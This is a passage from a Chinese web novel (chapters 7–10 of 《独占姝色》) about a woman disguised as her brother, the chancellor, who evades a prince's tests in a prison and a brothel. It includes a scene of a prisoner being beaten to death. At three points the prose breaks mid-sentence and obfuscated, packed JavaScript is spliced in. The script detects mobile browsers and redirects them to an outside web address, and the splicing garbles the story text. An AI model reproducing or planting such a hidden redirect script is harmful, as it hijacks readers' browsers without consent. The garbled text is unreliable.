《独占姝色》 7. 指婚 临出宫，明姝又去了一趟昭华殿，为的是向太后请示带小皇帝出宫一事。 本想着太后若是回绝，她再想别的法子劝小皇帝念书，可太后不但欣然答应，还特意嘱咐她一道陪同。 如此，明姝除了应允别无选择，毕竟是自己提出的，总不好推脱给旁人。 离开昭华殿时，外面淅淅沥沥下起了小雨，一座座宫闱好似隐在朦胧之中。 几滴雨水斜飞进脖颈，冰凉得紧，明姝下意识拢了拢衣襟，撑开纸伞，脚下步伐加快。 途径昭华殿外的廊道时，另一撑伞人迎面走来，伞沿遮去了大半视线，只能看到彼此的穿着打扮。 擦肩而过时，一只白玉簪掉落在地。 明姝脚步一顿，伞沿上抬，看到簪子主人还在浑然不觉地向昭华殿走去，于是出声唤道：“姑娘。” 徐妙音停下脚步，转身瞧见一位翩翩如玉的公子，那双眼睛光华内敛，睫毛似鸦羽般纤长。 世间或许再找不出更好看的一双了。 她经常出入皇宫，却从未见过这张陌生面孔。 “敢问大人是……” 明姝俯身捡起簪子，在手里掉了个头，让锋利的那端朝向自己，“在下明某，姑娘的簪子掉了。” 徐妙音将她细微的动作尽收眼底，唇瓣微动想继续追问她的名字，而对方却无意停留，只留下一句礼节性的“告辞”。 玉簪上尚留一丝余温，徐妙音犹自忪怔，望着那道月白色身影撑伞而去，直至一步步隐没在烟雨之中。 …… 自从与小皇帝达成“交易”，明姝几乎日日都要前往乾清宫教习。 原以为小皇帝是觉得书中内容晦涩难懂才这般抗拒，后来发现他不但脑子灵光，悟性也颇高，遇到不懂的地方几乎一点便通，从来不需要她重复第二遍。 都说明家人个个高才卓识聪慧颖异，依她看，姓萧的也不遑多让。 回相府时，在宫门外瞥见了秦王府的马车，明姝低下头，挑了条稍远的小路快步走过。 “丞相大人留步。” 陆尧眼睛尖，看到沿墙快步的身影，当即翻身下马，“在下陆尧，王爷说上次在相府多有叨扰，今日特地命我来接丞相大人到王爷那儿吃酒，也算礼尚往来。” 礼尚往来？ 怕是居心叵测。 左右也被看到了，明姝直挺起腰板，从容道：“多谢王爷好意，只是明某身子不好，不能沾酒。” “喝茶也行，丞相大人应该能喝茶吧？” 上回还在相府给萧肆沏了九曲仙枝，眼下若说自己不能喝茶，他定是不会相信的。 明姝找不到由头推辞，只能回一个“好”，硬着头皮上了马车。 马车穿过朱雀大道一路南行，车身宽敞，飘着似有若无的楠木香，一如萧肆身上的味道。 明姝袖袍下的手不自觉攥出了细汗，思索着他到底有何目的。 途径莨湖时，附近路面被一连几天的大雨冲刷得坑坑洼洼，车轮轧过，溅起几颗泥点子沾在车身的纹样上。 感受到车身摇晃，明姝掀帘向外望去，发现竟到了皇宫以西，秀眉蹙起：“这不是去秦王府的路，陆大人这是何意？” 平日为了避免碰见萧肆，她都会特意避开王府附近的路段，知道王府位于皇宫以东，根本无需经过西边的莨湖。 陆尧解释道：“我们王爷忙于政务，这会儿还在诏狱查案，便请丞相大人到诏狱一坐。” 诏狱？ 明姝先是一怔，而后倒吸一口冷气。 仔细回想，当初萧肆离开相府时，也只说改日请她到他那儿做客，从未提过“王府”二字。 好一个礼尚往来，请客竟请到了诏狱。 马车最终停在近郊一处偏地，不远处便是乱葬岗，明姝踩着车架下地，看着牌匾上饱经风霜的“诏狱”二字，指甲不自觉陷进了肉中。 她无数次梦到过，自己身份败露被萧肆抓入诏狱，传闻这里关的尽是罄竹难书之人，能活着走出去的不足一成，或是死于刑罚，或是咬舌自尽，尸体丢至乱葬岗，被鸟兽啃食后只剩一堆白骨。 “丞相大人，请。” 明姝定下心神，跟在陆尧身后踏入诏狱，霎时，潮湿之气扑面而来，掺杂着血的刺鼻腥味，四面墙体高筑，不见天窗，分明是白日却要凭借火烛照明。 听闻脚步声经过，两侧牢房有人冲至门旁，口中哀嚎着“救命”“冤枉”，那声音听上去撕心裂肺，让明姝脊背一阵发凉，只敢直直目视着前方道路。 转过几个弯后，视野倏然开阔。 明姝即便没来过，也能根据房间内的刑具来判断这是审讯犯人的地方，这里的血腥味尤其浓重，让她一来便想要作呕。 “王爷，人带到了。” 陆尧朝坐上之人拱手复命，而后退了出去。 萧肆今日穿着黑色阔袖蟒袍，银带束腰，交领与袖端皆为深赤色，与这诏狱的阴冷血腥毫不违和，抬眸一眼，便给人一种说不出的威慑。 见她良久未动，他薄唇轻牵，笑意冲淡了那份威慑，却依旧让人不寒而栗，“丞相站着做什么，既是客人，何不落座？” 明姝看向他身旁的位子，说是位子，其实是官吏审讯犯人时坐的交椅，坐下后才发现正前方的刑架上还绑着一将死之人，不知受了何种酷刑，浑身上下竟是没有一块好肉。 视觉上的冲击让她唇色发白，胃里一阵翻江倒海。 娇生惯养了十几年，她平日接触的是月白风清，是良玉美景，从未见过这般触目惊心的惨状。 “此人冒充兵部侍郎，潜入官衙偷走了京城布防图，被发现后，又一连杀害了四名官吏，大理寺的人百般审问，他都不肯招出幕后主使，于是便送来了这诏狱。” 萧肆直直看向她，“本王有些记不得了，依照永安律法，冒充朝廷官员该当何罪？” 一句“冒充朝廷官员”让明姝心中一颤，不知是巧合还是萧肆已经开始怀疑她的身份，掌心不自觉煨出细汗。 “冒充朝廷官员者，杖罚八十，流放边境，于国有损者罪加一等，杖罚一百并凌迟处死。” “不愧是丞相，与律法上写的一字不差。”萧肆笑了笑，“此人不但通敌卖国，还身负四条人命，按照永安律法，杀人者理当照数偿命，判其凌迟处死并株连妻女，丞相觉得如何？” 明姝摸不透他的心思，秉着祸从口出的道理，只道：“刑狱之事王爷自有判断，臣不便多言。” “既然丞相没有异议，那择日不如撞日。” 萧肆挥手唤来负责行刑的狱卒，不轻不重的一句便决定了他人生死，“将此人杖罚一百，凌迟处死。” “现、现在？” 就连狱卒也是一愣，偷偷瞥了眼一旁的陌生男子，那模样白衣胜雪，光风霁月，完全不像是该出现在诏狱中的人。 “就现在。” “是。” 狱卒一左一右将罪人按上刑台，棍杖之下，惨叫声响彻整个诏狱，而萧肆只是静静看着，眼中是上位者惯有的冷漠，蟒袍被打理得一丝不苟，连滴血都未曾沾上。 本就是将死之人，如何受得了这般酷刑，十数杖下去便没了动静，狱卒探过鼻息后上前禀报：“王爷，人已经死了。” 死了。 简简单单两个字，却让明姝背后掀起一阵寒意。 就在方才，她竟亲眼看着一个人被活活打死。 血腥味掺杂着铁锈的气味，在这连窗户都找不到一扇的地方逡巡不去，让她终于忍不住干呕起来。 萧肆看她一眼，“丞相可是身有不适？” “明某身有顽疾，不宜在这空气混浊之地待得太久。” 明姝以袖掩面，庆幸自己早晨出门匆忙，没来得及用膳，这才只是干呕。 “倒是本王疏忽了，忘了丞相身子不好，既如此，本王送丞相出去。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105293|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “有劳王爷了。” 直至走出诏狱，明姝才觉得呼吸畅通了许多，算算时间，她在诏狱不过只待了半个时辰，却像过了一年那么久。 来的时候，诏狱外还只有一辆马车，眼下却变成了两辆，她只当是官吏正常出入诏狱，并未放在心上。 而萧肆却认出了另一辆马车，眼中闪过一丝不易察觉的晦暗。 “丞相大人。” 清丽的嗓音落入耳中，明姝抬眼望去，居然是先前在昭华殿外遇到的那位姑娘，约莫十七八岁左右，一身淡紫色的锦绣流仙裙端庄大方。 见萧肆也在此，她微微福身，“妙音见过王爷。” “什么风把郡主吹到我诏狱来了？” “王爷莫怪，妙音这次来是为了答谢丞相大人。” 她摸了摸发髻上的白玉簪，正是明姝上回捡到的那支，“实不相瞒，这只簪子对妙音意义非常，为了答谢丞相，妙音特地做了些糕点想送给丞相尝尝，结果丞相却不在相府中，这糕点不能放得太久，妙音便多方打听找到了此处。” 仅是为了送糕点便跑来这偏远的诏狱，萧肆不信，明姝也不信，她想起兄长曾提到过，永安共有两位郡主，其中名叫徐妙音的乃是太后的亲侄女。 如此，一切便有迹可循了。 这边还没应付完萧肆，那边太后又派了位郡主过来，怀璧其罪，古人诚不欺她也。 徐妙音走这一趟，十有八九是太后听说她被萧肆接走，担心她这枚棋子被拉拢了去，特意派人来探探口风。 果不其然，下一句便听她说道：“妙音回京前，偶闻王爷与丞相不和，可如今看来，二位大人同在诏狱叙事，瞧着交情甚好呢。” 交情甚好？好在何处？ 看似寒暄实则是略显拙劣的试探，明姝正不知该如何回答，萧肆倒替她开了口：“本王与丞相一见如故，恨不能夜夜促膝长谈。” 徐妙音微讶，目光看向明姝，似是想要向她确认。 可明姝哪里敢当面打萧肆的脸，唯有付之一笑，没有承认也没有反驳。 萧肆分明是在害她。 这话若是原封不动传入太后耳中，不论太后相信与否，都会对她生出芥蒂，到时她可就里外不是人了。 卑鄙。 捕捉到她脸上略显僵硬的笑，萧肆几不可察地弯了弯唇。 徐妙音没那么多心眼，自然没察觉到他二人之间的微妙气氛，只道：“王爷想来还有政务在身，此地偏僻，丞相若是不介意的话，便乘妙音的马车回府吧。” 太后那日将她叫去昭华殿，让她想法子接近丞相，最好让丞相喜欢上自己。 她原是不愿讨好陌生男子的，但经那次雨中偶遇，她对这位丞相心怀好感，听闻太后有意撮合二人，心中反倒有些暗喜。 明姝不想与任何人扯上瓜葛，只想早些回到相府，可此地人烟稀少，寒气又重，再找不出第三辆马车，斟酌之下，还是答应了徐妙音，也算是没有拂太后的面子。 看着马车渐行渐远，就连陆尧也嗅出了其中心机，“妙音郡主是太后的亲侄女，从小在太后身边长大，若成了这段佳话，丞相与太后日后便是一家人了，王爷就不打算做点什么？” 萧肆不以为意，转身往诏狱里走，“做什么？丞相不与太后当一家人，难道还能与本王当一家人不成？” 他一无姊妹二无妻女，攀亲带故这方面，跟明玦一个男人半点也攀不来。 陆尧噎住，萧肆又道：“晚些时候寻位画师将丞相的样貌画下来，拿去太医院给梁太医仔细瞧瞧。” 若他没记错的话，梁太医十年前曾到江南给明玦治过病，或许还认得他的模样。 起初，他只是想探探这位千载难遇的奇才究竟有多奇，不想探着探着，竟探出些出人意料的东西。 先前拜访相府，明玦对答如流，滴水不漏，但就在方才，他犯了一个连自己都没能察觉的致命错误。 8. 欲盖弥彰 晚膳时，诏狱中的惨像还在脑中挥之不去，明姝左右提不起胃口，只简单喝了碗清粥，桌上还摆着她从徐妙音那儿得来的糕点，也是丝毫未动。 白九看那些糕点造型别致，上面还精心刻了吉祥的纹样，就这么扔掉实在可惜，便拿起一枚送到她眼前，“大人要不尝尝？” 明姝看了一眼，依旧没什么胃口，“你且拿去吃了吧，今日我想早些休息。” 上午在乾清宫教小皇帝念书，下午又在诏狱跟萧肆斗智斗勇，这一天过得实在太费神了。 沐浴更衣后，明姝侧躺在软榻上，一瞬不瞬地望着窗外的明月出神，分明疲惫极了，但脑子里总是忍不住去想今日发生过的事，想萧肆说过的每一句话，做过的每一个动作。 她总觉得，他不会平白无故将自己接去诏狱。 倏然，她从榻上坐起，随意披了件外衣，点上灯烛，来到案前翻看起永安律法。 永安律法共有四册，分别记载了四种不同类型的罪罚，行窃罪在第一册，假冒朝庭官员在第二册，而这杀人罪—— 明姝翻到第四册，不由得倒吸一口冷气。 从头至尾，律例中从未出现过“株连”二字。 她中套了。 萧肆上次来相府时，曾在堂中看到了这四本律法，前三本她已背得滚瓜烂熟，因此书脊较为破旧，唯独最下面的那本她还没有背到，看上去也最为崭新。 他表面上问了前三册中的律例，实则在第四册上挖了坑，以此来试探她究竟是“温习”还是“学习”。 如此心机，当真可怖。 明姝揉了揉太阳穴，原先的困意消散了大半，取而代之的是懊恼与担忧。 她自认已经足够谨慎了，但还是掉入了对方一早设下的圈套，这般精于算计之人，这世上恐怕唯有兄长能胜其一筹。 “大人还没歇下吗？” 白九打扫完东厨已是子时，见明姝屋中依旧燃着蜡烛，还以为出什么事，进去发现人安然无恙地坐在桌案前，手头的书还翻开着，“小姐不是要早些休息吗，怎的深更半夜又开始看书了？” “白九……”明姝唇瓣微动，脸色看上去有些不佳，“秦王或许已经开始怀疑我的身份了。” 白九一惊：“大人何出此言？” “阿兄对永安律法了如指掌，曾帮府衙解决过不少疑难案件，这是江南人尽皆知之事，可今日在诏狱，秦王故意在我面前错判了一名杀人犯，我却丝毫没有察觉。” 怎么照数偿命，怎么株连妻女，都是萧肆胡编乱造出来的。 白九愿意跟她冒着生命危险来到京城，自然做了充足的心理准备，很快便镇静下来，“大人，那我们下一步该怎么办？” “他现在还只是怀疑，没有确凿的证据之前是不会拿我怎样的，我们万不可自己乱了自己的阵脚。” 这话既是说给白九，也是说给她自己。 乔装打扮后的她与明玦，只有极其亲近之人才能分辨出来，只要萧肆不把她与女子联系在一起，便无法查出她的真实身份。 当务之急，是不让任何证据落到对方手中。 明姝轻咬着唇瓣，设想着如果她是萧肆，下一步会做些什么。 晚风裹挟着凉意穿堂而入，卷起她耳侧几束发丝纠缠不清，指尖冻得僵硬也浑然不觉。 忽的，她像是想到了什么，忙问：“白九，你可还记得我初到京城那日，曾被人打晕送进了醉香楼？” “自是记得。”那日她在相府左右等不到人，还以为明姝被官府抓了去，胆战心惊了许久。 “那里的姜娘认得我是女子，明日你去走一趟，贿赂也好威胁也罢，让她不要向任何人透露当日之事。” 放眼京城，唯有醉香楼的姜娘，以及上次将她打晕的男人知道她是女儿身。 萧肆曾在醉香楼跟丢过她，以他的精明程度，定会想到去醉香楼重新查证，一旦得知当日有女扮男装之人被卖进楼中，一切谎言都将不攻自破。 必须赶在萧肆之前，想办法封住这二人的口。 这是她眼下唯一能想到的对策，也是萧肆能最快查出她身份的途径。 白九当即领会，点头道：“大人放心，明日一早我便过去。夜深了，您也快些歇息吧，莫要熬坏了身子。” 月明星稀，凉风阵阵，吹打着早春抽梢的柳条。 这一夜，明姝枕着风声辗转难眠，到丑时才将将入梦。 翌日一早，白九谨遵明姝的交代，乔装打扮准备往醉香楼走一趟。 临行前，明姝拉着她来到妆台前，又拿了两件价值不菲的首饰让她带在身上，“那姜娘瞧着像个好财之人，只要钱财到位，封口应该不成问题。京中眼线颇多，切记要小心行事，不可打草惊蛇。” “知道了。”白九点了点头，将首饰揣进怀里，一刻也不耽误地出了府。 房间里静可闻针，只剩明姝出神地坐在妆台前，铜镜中映出一张眉清目秀的脸庞，零落日光透过窗纱，落在她久久不曾平展的眉梢。 倘若萧肆当真识破了她的身份，她该如何是好，明家又该如何是好？ 上一世的悲惨结局还历历在目，她不敢细想。 须臾，院中隐约传来讲话声，将她的思绪牵回。 那厢，白九前脚刚踏出相府，后脚便有一辆华盖乌檀车撵停在跟前，挡住了她的去路。 身着鸦青色阔袖锦袍的男人从车撵缓缓走下，望着那张并不陌生的面庞，白九脑中“轰”的一声响，脚下后撤了几步。 “王、王爷……” 醉香楼平日里迎的都是男客，为了不打草惊蛇，白九特意用发冠将长发束起，俨然一副男子打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105294|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扮。 萧肆上下打量着她，那目光仿佛能将人看得通透。 “这般匆匆忙忙，可是要外出为丞相办事？” 被那双漆眸盯着，白九只觉背后凉意横生，脑中一片空白不知该作何解释。 忽而，一道力气拉过她的胳膊，明姝挡在她身前，向着萧肆行了一礼：“不知王爷远道而来，有失远迎还望王爷见谅。” “是本王来得唐突，丞相不必自责。” 萧肆的目光落在她身上，仿佛在等她开口解释，明姝担心二人口径不一会露出破绽，便找了个由头让白九先行离开，“先前我在东厨熬了些梨汤，眼下应该差不多了，你去看一眼，莫要熬干了锅。” 白九应了声“是”，转身回了相府。 待人离开，明姝解释道：“说来惭愧，听闻鸳鸯阁最近出了一款名为蔷薇露的新茶，在京中甚是流行，明某平日没什么爱好，唯独对品茶情有独钟，便托丫鬟乔装打扮，替明某买一壶回来。” “原来如此。”萧肆无声一笑，不知是信了还是没信，“昨日政务缠身，没能好酒好菜招待丞相，是本王的不对，今日本王特地登门请丞相去酒楼一叙，聊表歉意。” 倒是开门见山。 明姝猜不透他究竟安的什么心思，但至少可以确定他尚未查出自己的身份，否则今日来的就是大理寺的人了。 若是旁人，明姝大抵会找个由头推辞，可堂堂王爷亲自登门邀请，摆明了是不给她回绝的余地。 “方才丞相说想尝尝鸳鸯阁的蔷薇露，其实，这蔷薇露并非鸳鸯阁酿造，而是由清泉茶庄供给的，据本王所知，清泉茶庄还有一位更大的主顾，且就离相府不远。” 说到这，萧肆话音一顿，似是要等她开口询问，明姝知道他不会平白无故跟自己讲这些，心中已经隐隐有了答案，假模假式地问了句：“哦？那是什么地方？” “醉香楼。” 萧肆直直地看着她，想要从她脸上捕捉到哪怕一丝的神情变化，结果却一无所获，后者只微微蹙了下眉头，装作第一次听闻的模样，“这倒是闻所未闻。” 萧肆唇角轻掀，佩服她这个时候还能装得云淡风轻。 原本他只是怀疑她与醉香楼有所勾结，当初才得以金蝉脱壳，但方才白九一副男子的打扮，十有八九是要去醉香楼报信，让他更加确定了这一猜想。 即便她脑子转得快，编了个看似像样的借口出来，也只是在明面上掩盖了过去，实则欲盖弥彰。 “丞相既是爱茶之人，自然清楚只有现沏的茶最为醇香，放得久了便失了味道。本王原本还没想好请丞相去哪家酒楼，如今看来，倒是没有比醉香楼更好的去处了。” 面对萧肆的步步紧逼，明姝自知后退无路，唯有故作欣然的一笑。 “如此，明某便恭敬不如从命了。” 9. 画像 过去的十七年里，明姝从未沾染过风月之地，而今来京不过一月有余，已是第二次踏足醉香楼。 转过左右两扇绣着鸳鸯的屏风，台上舞姬翩然起舞，水袖起落间，撩拨了不知多少宾客的心弦，横梁垂下的红绸错落有致，佐以上好的云纱，一派纸醉金迷。 明姝随萧肆在一楼落座，酒樽碰撞声中夹杂着女子银铃般的笑声不绝于耳，来回经过的宾客难免有几个已经醉得不省人事，摇摇晃晃眼看要往人身上倒。 “此处人多混杂，王爷若是觉得吵闹，可移步至二楼雅间。” 她隐约听闻过，萧肆早已到了婚配的年纪，却迟迟不曾娶亲，多少名门闺秀想方设法削尖了脑袋想往秦王府挤，也没讨得半分好脸。 其中几分真几分假，她不知道也不在意，只是偶然间听了一耳朵罢了。 “不必，坐这儿刚刚好。”萧肆似乎并不担心会被哪个不长眼的酒鬼吐个满身，反问道，“丞相知道二楼有雅间，可是先前来过此处？” “猜测罢了。”明姝答得脸不红心不跳，“我瞧上楼的客人个个穿着矜贵，想来皆非寻常人家。” “原来如此。” 三言两语间，琴声由高入缓，又由缓入无，只留下一道悠长的余音，姑娘们在一片拍手叫好声中盈盈退场，马不停蹄地换上下一批。 一下台，紫怜便拉住身边的姑娘们，指向屏风旁的位子，“快瞧那边，方才我在台上见那二位公子不但生得容貌俊朗，举手投足也气质不凡，十有八九是哪家权贵的公子呢。” 姑娘们循着瞧过去，只见白衣之人金质如玉，黑衣之人桀骜自威，放眼扫去，在一众宾客之中尤为打眼。 风月之地的女子，最期盼的便能是攀上达官显贵家，当个填房也好，养在别院也罢，只要能赎得自由身，吃穿无忧，便是极好的了。 几人心照不宣，争相簇拥着上前，其中数紫怜最为机灵，纤纤玉手拿起案几上的酒坛，“公子，奴家来给你斟酒。” 递上酒盅时，她有意无意触碰到萧肆的指尖，当即面上一红，又娇羞地缩回手去。 欲拒还迎，最为撩拨。 这是青楼女子惯用的伎俩，萧肆将人揽进怀中，对方低呼一声，顺势将手臂绕在他的颈后，面色通红霎是动人，“公子，奴家喂你喝酒……” 那厢，另一位绿衣姑娘要为明姝斟酒，萧肆从酒盅下抬眸，不轻不重道：“他不喝酒，给他取一壶蔷薇露来。” “没问题。” 水袖拂肩而过，女子媚眼如丝地朝她一笑，替她从邻座取了一壶蔷薇露来，正欲往她腿上坐，却被轻巧地避了过去。 “我身子不好，闻不得太浓的香气，还望姑娘见谅。” “头一次见来这里的人说自己闻不得脂粉味去，公子不喜欢奴家直说便是，何必编这么个拙劣的借口。”绿衣姑娘有些不满地哼了一声，转而又堆起满脸笑容，跟着其他人一起围在萧肆身旁。 萧肆倒是来者不拒，姑娘们三三两两地围在左右，紫怜坐在他的怀中，纤长的手臂勾在他的后颈，檀口吐香，一次次将酒盅送到他的嘴边。 看来坊间传闻果真不可信，什么不近女色，什么坐怀不乱，看他这般左拥右抱的模样，倒是轻车熟路乐在其中。 到底是非礼勿视，明姝默不作声地移开目光，看向台上正在抚琴的姑娘。 乐声如小桥流水般婉转绵长，时而蹦出几个稍显违和的错音，被淹没在谈笑声中无人觉察，唯独在她耳中格外分明。 “哎呀！” 响起一声惊呼将她的思绪拉回，目光回正，只见那紫衣姑娘居然将酒洒在了萧肆的身上。 “公子这是何……”紫怜话音未落，却见那双瑞凤眼中泛起寒光，其中带着几分警告的意味，犹如一根冰刺扎进喉中。 在青楼摸爬滚打这么多年，她还不算太傻，当即改口道：“对不住对不住，都怪奴家一时手抖，害得这酒洒了公子一身，奴家这就帮您擦干净。” 她取出手帕替萧肆擦拭外衣，无意瞥见他腰间令牌上用金漆雕绘着一个龙飞凤舞的大字，虽然识不得，但仅凭周围的蟒纹也能猜到这令牌的主人比她想象中还要身份尊贵，吓得她面色微白，手也跟着颤抖起来，最后竟是连帕子也没能拿稳，掉在地上沾了酒水。 错上加错，她连忙跪倒在地：“大人恕罪，小女子当真不是有意的！” 四下纷纷投来看热闹的目光，不消一会儿，便将周围围了个水泄不通，窃窃私语猜测着萧肆的身份。 “怎么了这是？麻烦各位爷都让一让，让一让！” 人群后传来一道熟悉的声音，明姝不由得压了压眉稍，后知后觉萧肆这是搭好了戏台，特意引姜娘来查证她的身份。 从里三层外三层的人堆里挤过，姜娘无甚好气地扶了扶歪斜的发髻，原以为又有人寻衅滋事，看到萧肆后却是一怔。 “杨大人？” 明姝就坐在一旁，怎么也逃不过姜娘的眼睛，想要侧过脸去，又怕自己的心虚之举让萧肆更加起疑，盘算着若是对方问起，她唯有矢口否认。 不成想，姜娘的目光并未在她身上多留，而是换上一副笑脸，朝萧肆福了一身，“姜娘不知大人驾到，有失远迎，还望大人莫要怪罪才是。” 先前巡防营的人吓走不少宾客不说，还让她白白丢了棵摇钱树，她心里对这位不留情面的主颇有怨言，但碍于身份，又不敢表现出半分。 论胆战心惊，比起跪在地上的紫怜，明姝更是不遑多让，生怕姜娘下一句话便捅破自己的身份。 然而，对方却像是从未与她谋面般，只当她是位寻花作乐的客人，几番目光从她身上经过都浑然不觉。 不认识么…… 将姜娘的一颦一蹙收入眼底，萧肆眉峰轻拧，眼中晦暗不明。 有人在耳旁说道了两句，姜娘得知事情的来龙去脉，忙不迭地掏出一只新帕子，“大人，紫怜这丫头毛手毛脚的，弄脏了您的衣裳，回头我定好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105295|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好教训她一顿！” 说罢，她作势要亲自替萧肆擦拭，却被对方一个不悦的眼神制止，停在半空的手收也不是，不收也不是。 恰巧看到他面前酒盅已经见底，灵机一动道：“这衣裳理应我们醉香来赔，不过大人想来不缺银子，正好最近楼里新送来了几批新酒，都是不可多得的陈年佳酿，晚些姜娘遣人送到大人府上，算是向大人诚心赔罪了。” “免了。”萧肆看向明姝，捏住酒盅的手不自觉加重了力道，“不过我这位朋友倒是很喜欢你们的蔷薇露，送他便是。” 这回，姜娘不得多看明姝几眼，连声赔笑道：“应该的，应该的！杨大人的朋友便是我们醉香楼的贵客，一会儿我便遣人将蔷薇露送去！” 明姝微微颔首，道了一句“有劳”，仅是四目相对，掌心便煨满了细汗。 连她自己都分不清，姜娘究竟是刻意隐瞒，还是当真没有认出她来。 不过无论如何，萧肆的盘算都落了空，她也算逃过一劫。 闹剧平息，看热闹的也纷纷回了自己的位子，明姝轻呷了口茶水平复情绪，知道萧肆不好糊弄，便又问了一句：“方才老板娘为何将王爷唤作杨大人？” 阿兄曾说过，身在朝堂，不该问的不能乱闻，可有些时候，该问的不问，反倒更为致命。 她这一问，表明自己并不知晓萧肆那日曾以巡防营指挥使的身份来过醉香楼。 萧肆弯弯唇，自知计谋落空，再想借这醉香楼探出她的破绽，已是不可能之事，索性敷衍道：“醉香楼每日来往宾客众多，认错了也情有可原。” 明姝若有所悟地点头：“原来如此。” 这回，也轮到她说这四个字了。 看似寻常的一顿酒席，吃得却是各怀鬼胎，回到王府后，萧肆当即派人将陆尧寻来。 今日醉香楼这一趟，不但没能探出明确的底细，反倒让他开始怀疑自己的判断。 姜娘自始至终都是一副不认识明玦的样子，言行举止也瞧不出一丝异样。 可若他们当真不相识，明玦当初为何会藏身醉香楼？白九又为何乔装出府，被他撞见后吓得大惊失色？ 是他聪明反被聪明误，明玦的身份其实并无问题，还是说……有人在背后帮衬？ 思忖之时，门吱呀一声被人推开，陆尧入内拱手：“王爷，您找我。” “画像的事，问得如何了？” “属下已经问过梁太医了，画上人……确实是明大人不错。” 画像出自京中第一画师之手，萧肆也亲自确认过，从五官到神情都画得极为传神，梁太医即便老眼昏花，也不至于将人认错。 如此看来，确实是他多疑了。 萧肆骨节分明的手指揉按着眉骨，“梁太医可还说了什么？” 陆尧略一回想，复述道，“梁太医还说，他当初下江南为明大人治病时，明大人因气血瘀滞而卧床不起，无奈之下只能开刀引血，在胸前留下了一道疤痕。” 10. 猫腻 晚些时候，醉香楼果真送来一车茶叶，都仔细封装在瓷坛中，白九招呼着帮工将东西搬进院子，临走前还不忘塞些碎银犒劳。 相府常年无人居住，院中清扫过后只剩下一池潭水和几棵合抱老树，一眼望去总觉得光秃秃的。 明姝特意买了些花苗回来栽种，不过一月出头，已经快要长到她的腰间了。 浇完水后，她放下花洒，拿起一旁的花剪开始修理枝叶。 瓷坛整整齐齐摆了小半个庭院，白九拈起一小撮茶叶嗅了嗅，跑到她身旁，“大人，这与我们江南的茶甚是不同，好像还真有花香呢。” “应是在翻炒茶叶时加了些花瓣进去，今日我在醉香楼喝到时，也觉得十分新奇。” “可醉香楼为何平白无故送来这么一大车茶叶？还有今日王爷约您去醉香楼，应该没碰上那儿的老板娘吧？” 明姝手起刀落，剪下一段不和谐的枝条，“碰上了。” “碰上了？！”白九轻呼出声，又连忙捂住了嘴，分明府中只有她二人，却还是心虚地压低嗓音，“那……她没认出您来？” “想必是认出来了，只是没有说破而已。” 明姝回府后一直在思索此事，姜娘不仅见过她女扮男装，还曾经近距离打量过她的长相，不可能这么快就把她给忘了。 之所以没有戳穿，怕是有人提前打好了招呼。 至于是谁…… 能这般料事如神，让萧肆那只老狐狸吃了瘪的，这世上怕是只有阿兄了。 她每隔一段时间都会往江南寄信，看似是普通的家书，实则在墨中加入了姜黄和云石粉，只有靠近火烛，背后的文字才会显现。 这也是阿兄教给她的，让她将平时发生的事一一写在信中，以便及时出谋划策。 以阿兄的智谋，想来在得知她被绑进醉香楼时，就已经算到了今天。 如今萧肆这一趟试探落了个空，短时间内大抵不会再怀疑她的身份，她也终于能喘一口气了。 “没事便好，没事便好。”白九拍着胸脯长舒一口气，“对了，今日大人出府后，宫里的公公送来了请帖，请大人三日后到宫中参加洗尘宴。” “洗尘宴？” “说是为了庆祝卫将军凯旋归京的。” 半空中的手微微一顿，错剪下一截嫩绿的新枝，明姝怔住：“你方才说……卫将军？” “卫平澜，卫小将军。”白九睨着她的脸色，“此人有什么问题吗？” 明姝拿过请帖，再三确认上面写的是“卫平澜”三字，心忽而跳快了几分。 卫平澜出自将军世家，自小便跟着父亲驰骋沙场，从南境打到北境，二十出头的年纪便已战功显赫，人们提起时，总是习惯唤上一句“小将军”，也算是跟他父亲做个区分。 八年前，卫平澜跟随父亲在南境围剿流寇，回京途中因水土不服在江南滞留了一段时间。 那时，明家居住的一带突发洪水，她失足落入水中，正巧卫平澜路过救了她一命。 那时的卫平澜不过十二岁，在明府住了个把月的时间，与她和阿兄都关系甚好。 只可惜京都迢迢，一别就是八年，后来再听闻他的消息，大多是从说书人口中听到他屡立奇功的事迹。 对她而言，卫平澜是救命恩人，是儿时玩伴，也是情窦初开时的一缕思慕，她至今都记得，那个不顾洪水汹涌朝她伸出手的身影。 原以为他们一南一北无缘再见，没想到这么快便有了机会。 明姝良久地看着请帖上的名字，短暂的欣喜过后，随之而来的却是五味杂陈。 如今的她背负着整个明家的命脉，即便重逢，也只能以阿兄的身份。 好在八年时间够长，她已经变了模样，卫平澜又是个率直的性子，这些年在燕州带兵打仗，对朝堂上的弯弯绕绕接触甚少，想来没那么多试探的心机。 